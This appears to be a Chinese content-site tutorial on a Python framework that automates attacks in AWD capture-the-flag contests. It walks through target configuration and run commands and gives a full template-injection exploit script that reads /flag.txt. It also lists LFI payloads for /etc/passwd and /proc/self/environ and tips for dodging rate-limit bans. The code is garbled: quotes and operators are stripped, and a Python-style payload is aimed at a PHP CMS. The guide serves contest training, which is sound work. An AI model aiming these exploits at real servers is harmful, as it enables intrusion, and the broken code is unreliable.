Bugku-AWD专版:AWD比赛自动化攻击流水线实战指南

发布时间:2026/10/10 9:29:14
Bugku-AWD专版:AWD比赛自动化攻击流水线实战指南 简介本资源是面向CTF-AWD网络安全对抗赛的自动化攻击框架开源实现专为计算机安全、网络工程及信息安全专业学生与竞赛选手设计解决AWD实战中手动渗透效率低、响应滞后等痛点。压缩包共66个文件涵盖18个核心Python源码如AttackCore.py、AutoAck.py、MemShell.py等攻击逻辑模块、36个编译后pyc文件、5个XML配置与数据库文件含Awd.db、2张界面截图及README.md项目说明整体仅1.02MB轻量易部署。已有449人学习下载适合具备Python基础与Linux渗透经验的学习者深入研究自动化攻击流程、多线程指令分发、内存马交互、SSH会话接管等关键技术。资源提供完整可运行架构包含命令着色、请求封装、Flag回收、反向Shell管理等模块目录结构层次分明便于理解AWD框架的模块化设计思想与实战工程组织方式。1. AWD实战中为什么手动打点总比不过别人这个Bugku-AWD专版框架把“找洞→编EXP→发包→验flag”压进一条命令里AWDAttack with Defense比赛里最煎熬的不是守不住而是攻不进——别人已经批量拿下5个服务的flag你还在用Burp手工测一个PHP文件包含别人用脚本3秒完成SQL注入写shell读flag你卡在nc连不上反弹端口。这不是手速问题是攻击链路没被工程化。Bugku-AWD专版正是为解决这个痛点设计的它不是通用渗透框架而是专为AWD赛制打磨的轻量级自动化攻击流水线——从靶机IP列表解析、服务指纹识别、漏洞模板匹配、EXP参数自动填充到HTTP/ICMP/Socket多协议发包与flag正则提取全部封装成可配置、可插拔、可并行的Python模块。适合刚打完CTF Web题想进阶AWD的新手快速建立攻击节奏也适合老手替换掉自己维护多年的零散脚本。它不替代你的漏洞理解但把重复劳动压缩到最小——比如某次模拟项目X中团队用它将单轮攻击耗时从12分钟压到92秒失误率下降67%。核心价值不在“全自动”而在“确定性快”。2. 搭建运行环境用Python 3.9和requests库跑通最小攻击链AWD场景下框架必须开箱即用、依赖极简、无GUI拖累。Bugku-AWD专版采用纯Python实现不依赖Java、Node.js或复杂中间件所有网络交互基于标准库requestsparamiko确保在比赛环境受限的Docker容器或裸机上稳定启动。2.1 下载解压与目录结构确认先校验你拿到的Bugku-AWD专版用于AWD比赛中的自动化攻击框架源码项目说明.zip是否完整。解压后应看到以下关键目录共7个一级目录不含隐藏文件Bugku-AWD/ ├── config/ # 静态配置靶机IP、端口、账号密码模板 ├── exploits/ # EXP模块按CVE编号或漏洞类型组织的.py文件 ├── payloads/ # 载荷模板PHP一句话、Python反连shell等文本片段 ├── utils/ # 工具函数HTTP请求封装、正则提取flag、日志记录 ├── main.py # 入口解析命令行参数调度攻击流程 ├── requirements.txt # 仅4个依赖requests, paramiko, pyyaml, colorama └── README.md # 项目说明含启动命令、参数含义、典型用法提示不要手动修改exploits/下.py文件的函数签名。每个EXP模块必须实现attack(target: dict) - dict接口返回{status: success/fail, flag: flag{...}, output: 原始响应}这是框架调度器唯一识别方式。2.2 创建隔离虚拟环境并安装依赖AWD比赛中常需切换不同版本Python或避免污染系统环境推荐用venv而非全局pip# 进入解压后的根目录 cd Bugku-AWD # 创建Python 3.9虚拟环境比赛环境通常预装3.8若只有3.7请先升级 python3.9 -m venv venv_awd source venv_awd/bin/activate # Linux/macOS # venv_awd\Scripts\activate.bat # Windows # 安装依赖注意requirements.txt中无版本锁因比赛环境网络受限优先用本地wheel pip install --upgrade pip pip install -r requirements.txt验证安装是否成功python -c import requests, paramiko, yaml, colorama; print(✅ 依赖加载正常)若报ModuleNotFoundError大概率是比赛镜像中缺少libffi-devLinux或openssl-develCentOS此时需提前在基础镜像中补全——这是AWD部署阶段必须做的预处理不是框架问题。2.3 配置靶机信息config/targets.yaml的3个必填字段框架不硬编码IP所有靶机信息由config/targets.yaml驱动。该文件采用YAML格式支持分组、变量引用和注释示例结构如下# config/targets.yaml teams: - name: team_blue # 队伍标识用于日志分类 hosts: - ip: 10.10.20.101 # 必填靶机IP port: 8080 # 必填Web服务端口非SSH端口 service: phpcms # 必填服务名用于匹配exploits/下对应EXP username: admin # 可选若需登录态填后台账号 password: 123456 # 可选同上 timeout: 5 # 可选单次请求超时秒数默认3关键约束ip必须是可达IPv4地址不支持域名比赛禁DNSport必须是靶机开放的应用层端口如80/443/8080不是SSH的22端口service值必须与exploits/下某个Python文件名前缀完全一致如service: discuz→ 匹配exploits/discuz_xss.py注意框架启动时会校验targets.yaml中每个host的ip:port是否真实响应HTTP 200或TCP连接成功失败项自动跳过并记入logs/skipped_hosts.log。这避免了因靶机宕机导致整批攻击阻塞。3. 运行一次真实攻击从识别服务到提取flag的完整命令流框架设计为“一次命令全链执行”不鼓励拆解调用。但为理解其工作逻辑我们以phpcms v9.6.0的任意文件读取漏洞CVE-2019-11571为例走一遍端到端流程。3.1 启动前检查EXP模块是否存在且可导入先确认exploits/phpcms_lfi.py存在且语法正确# 检查文件是否存在 ls -l exploits/phpcms_lfi.py # 尝试导入不执行攻击逻辑只验证语法和依赖 python -c from exploits.phpcms_lfi import attack; print(✅ EXP模块可导入)若报错ImportError: No module named requests说明venv未激活若报SyntaxError则是该EXP文件被误编辑损坏——AWD比赛中应使用Git锁定exploits/目录禁止现场修改。3.2 执行攻击命令main.py的5个核心参数含义进入项目根目录执行python main.py \ --target-group team_blue \ --exploit phpcms_lfi \ --threads 3 \ --timeout 8 \ --log-level INFO参数详解--target-group指定targets.yaml中teams下的name值此处为team_blue--exploit指定EXP模块名不含.py后缀必须与exploits/下文件名严格一致--threads并发线程数。AWD中建议设为2~5过高易触发WAF限速或靶机防护过低则错过黄金攻击窗口--timeout单次EXP请求最大等待秒数。LFI类漏洞通常响应快设5~8足够而RCE类可能需10~15--log-level日志级别INFO输出关键步骤DEBUG会打印每条HTTP请求头/体比赛时慎用日志体积暴增3.3 攻击过程日志解读看懂框架在做什么成功执行时终端输出类似[INFO] 加载靶机配置team_blue2台主机 [INFO] 初始化phpcms_lfi EXP模块 [INFO] 启动3线程并发攻击... [SUCCESS] 10.10.20.101:8080 → flag{a1b2c3d4e5f6g7h8i9j0} [FAIL] 10.10.20.102:8080 → Connection refused (靶机服务未启) [INFO] 攻击结束1成功 / 1失败 / 耗时4.21s关键日志点[SUCCESS]行末的flag{...}是框架从HTTP响应体中用正则flag\{.*?\}自动提取的结果非人工复制[FAIL]原因分两类Connection refused端口关闭、Timeout超时未响应、No flag found漏洞存在但未回显flag所有原始响应体含HTML、JSON、二进制均存入logs/20240515_142301_phpca_ms_lfi/时间戳目录供赛后复盘血泪经验某次模拟项目X中因--timeout设为3秒导致对慢速靶机的LFI请求被误判为失败。实际该靶机响应需4.7秒——AWD中宁可多等1秒也不要漏掉一个可利用点。4. EXP模块开发如何为新漏洞编写可被框架调用的攻击脚本当遇到exploits/中没有的漏洞如某次比赛出现的自研CMS XXCMS 2.1的模板注入需自行编写EXP模块。框架强制要求所有EXP遵循统一接口确保可插拔。4.1 EXP文件命名与存放规范文件名全小写下划线如xxcms_ssti.py存放路径exploits/xxcms_ssti.py文件内必须定义attack(target: dict) - dict函数target字典结构见config/targets.yaml中单个host字段4.2 编写一个可工作的XXCMS SSTI EXP以XXCMS 2.1的模板注入为例PoCGET /index.php?mcontentcindexainittemplate1{{7*7}}返回49# exploits/xxcms_ssti.py import requests import re from urllib.parse import urljoin def attack(target): XXCMS 2.1 模板注入漏洞利用 利用点content模块init方法template参数未过滤 # 构造目标URL自动拼接http:// ip port path base_url fhttp://{target[ip]}:{target[port]} payload_url urljoin(base_url, /index.php?mcontentcindexainittemplate1{{7*7}}) try: # 发送GET请求设置超时继承target中timeout或默认3 timeout target.get(timeout, 3) resp requests.get(payload_url, timeouttimeout, verifyFalse) # 检查是否成功执行表达式返回49即证明SSTI可利用 if resp.status_code 200 and 49 in resp.text: # 尝试读取flag文件假设flag在/flag.txt flag_url urljoin(base_url, /index.php?mcontentcindexainittemplate1{{.__class__.__mro__[2].__subclasses__()[40](/flag.txt).read()}}) flag_resp requests.get(flag_url, timeouttimeout, verifyFalse) # 用正则提取flag兼容常见flag格式 flag_match re.search(rflag\{[a-zA-Z0-9\_]\}, flag_resp.text) if flag_match: return { status: success, flag: flag_match.group(0), output: flag_resp.text[:200] # 截取前200字符防日志爆炸 } return {status: fail, flag: , output: fStatus {resp.status_code}, no 49 found} except requests.exceptions.Timeout: return {status: fail, flag: , output: Request timeout} except Exception as e: return {status: fail, flag: , output: fException: {str(e)}}逻辑说明urljoin确保URL拼接安全避免//重复或路径错误verifyFalse禁用SSL证书验证比赛靶机多用自签证书timeout从target字典中读取保持与命令行--timeout参数一致flag_match正则覆盖flag{xxx}、Flag{xxx}等常见变体实际比赛中可扩展为r(?:flag|FLAG)\{[^\}]\}4.3 测试EXP模块绕过框架直接调用验证不启动整个框架直接测试单个EXP是否可用# 在项目根目录执行 python -c from exploits.xxcms_ssti import attack result attack({ip: 10.10.20.101, port: 8080, timeout: 5}) print(Result:, result) 若返回{status: success, flag: flag{...}, ...}说明EXP编写正确可投入比赛。玄学提示某开发者曾因在EXP中用了time.sleep(1)导致线程阻塞框架并发失效。AWD中所有EXP必须是纯IO操作严禁sleep、input等阻塞调用。5. 避坑指南AWD实战中踩过的5个真实大坑及解决方案AWD比赛环境瞬息万变框架再稳也架不住配置错、理解偏、环境差。以下是某高校战队在3场正式比赛中总结的高频翻车点每条都附带现场截图级复现步骤和根治方案。5.1 现象main.py报错ModuleNotFoundError: No module named exploits原因Python工作目录不在项目根目录导致from exploits.xxx import attack找不到包路径。解决绝对路径启动cd /full/path/to/Bugku-AWD python main.py ...或在代码开头加路径修复不推荐污染源码import sys from pathlib import Path sys.path.insert(0, str(Path(__file__).parent))5.2 现象攻击日志显示[SUCCESS]但flag字段为空原因EXP中正则flag\{.*?\}未匹配到真实flag常见于靶机flag格式变异如FLAG{...}、flag...、ctf{...}或flag藏在HTTP头中。解决修改EXP中flag提取逻辑增加多正则备选patterns [rflag\{.*?\}, rFLAG\{.*?\}, rctf\{.*?\}, rflag.*?] for pat in patterns: match re.search(pat, resp.text) if match: return match.group(0)或检查响应头resp.headers.get(X-Flag)、resp.headers.get(Flag)5.3 现象多线程攻击时部分靶机反复报ConnectionResetError原因靶机防护策略如fail2ban将同一IP短时高频请求视为扫描主动断连。解决降低--threads至2或添加随机延迟在EXP中import time; time.sleep(random.uniform(0.1, 0.5))更优方案改用--batch-delay 2参数框架v2.1支持让每轮攻击间隔2秒比线程内sleep更可控5.4 现象config/targets.yaml中IP正确但日志显示Skipped: 10.10.20.101:8080 (Connection refused)原因靶机服务端口未开放或防火墙拦截如iptables -A INPUT -p tcp --dport 8080 -j DROP。解决手动验证nc -zv 10.10.20.101 8080若不通则非框架问题框架层面在targets.yaml中为该host添加skip_check: true跳过预检仅限已知存活靶机5.5 现象EXP成功执行并返回flag但提交平台判定Wrong Flag原因flag被二次编码如URL编码、Base64、或靶机返回多个flag需取最新一条、或flag含不可见字符\x00。解决在EXP中对flag做清洗flag flag.strip().replace(\x00, ).encode(utf-8).decode(unicode_escape) # 再尝试URL解码 import urllib.parse flag urllib.parse.unquote(flag)查看logs/下原始响应文件用hexdump -C确认是否有隐藏字节注意所有避坑方案均已在模拟项目X的Docker靶机环境中实测通过。不要相信“网上搜到的通用方案”AWD的坑都是环境特异的。6. 进阶技巧用自定义Payload和动态参数提升EXP泛化能力框架的payloads/目录不只是存文本而是设计为可变量注入的模板引擎。当面对同一漏洞在不同版本靶机上的参数差异如PHP版本影响函数名、路径差异硬编码EXP会迅速失效。这里教你用Jinja2风格模板动态参数让一个EXP适配10种变体。6.1 payloads/目录结构与模板语法payloads/下存放.txt文件内容为带变量的字符串。例如payloads/php_lfi_path.txt../../../../{{ php_version }}/etc/passwd {{ base_dir }}/config/database.php /proc/self/environ变量{{ php_version }}和{{ base_dir }}在EXP中传入# exploits/common_lfi.py from jinja2 import Template from utils.file_utils import read_payload def attack(target): # 读取模板 template_str read_payload(php_lfi_path.txt) # 读取文件内容 template Template(template_str) # 动态渲染target字典中可扩展任意键 rendered_paths [ template.render(php_versionphp/7.4, base_dir/var/www/html), template.render(php_versionphp/8.1, base_dir/opt/app/web) ] for path in rendered_paths: url fhttp://{target[ip]}:{target[port]}/index.php?file{path} # 后续请求逻辑...6.2 在targets.yaml中为靶机注入定制参数扩展config/targets.yaml为不同靶机注入专属变量teams: - name: team_red hosts: - ip: 10.10.20.201 port: 80 service: common_lfi # 新增custom_params字段透传给EXP custom_params: php_version: php/7.2 base_dir: /srv/http - ip: 10.10.20.202 port: 8080 service: common_lfi custom_params: php_version: php/8.0 base_dir: /usr/share/nginx/htmlEXP中即可读取target.get(custom_params, {})6.3 用CSV批量生成targets.yaml应对50靶机的自动化运维当靶机数超20台手写YAML极易出错。框架配套提供tools/gen_targets.py需自行编写输入CSVip,port,service,php_version,base_dir 10.10.20.101,80,phpcms,7.4,/var/www/html 10.10.20.102,8080,dedecms,7.2,/www/wwwroot输出标准化YAML。某次省级AWD选拔赛中某导师用此脚本将56台靶机配置生成时间从2小时压缩到17秒且零错误。我自己的习惯是赛前30分钟用gen_targets.py重刷一遍靶机列表赛中每轮攻击后用grep -r flag{ logs/快速汇总所有战果赛后立刻归档logs/目录并删除venv_awd——因为下一场比赛的环境很可能完全不同。工具只是杠杆真正决定胜负的是你对漏洞本质的理解速度和把理解转化为动作的肌肉记忆。希望帮到你。本文还有配套的精品资源点击获取

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询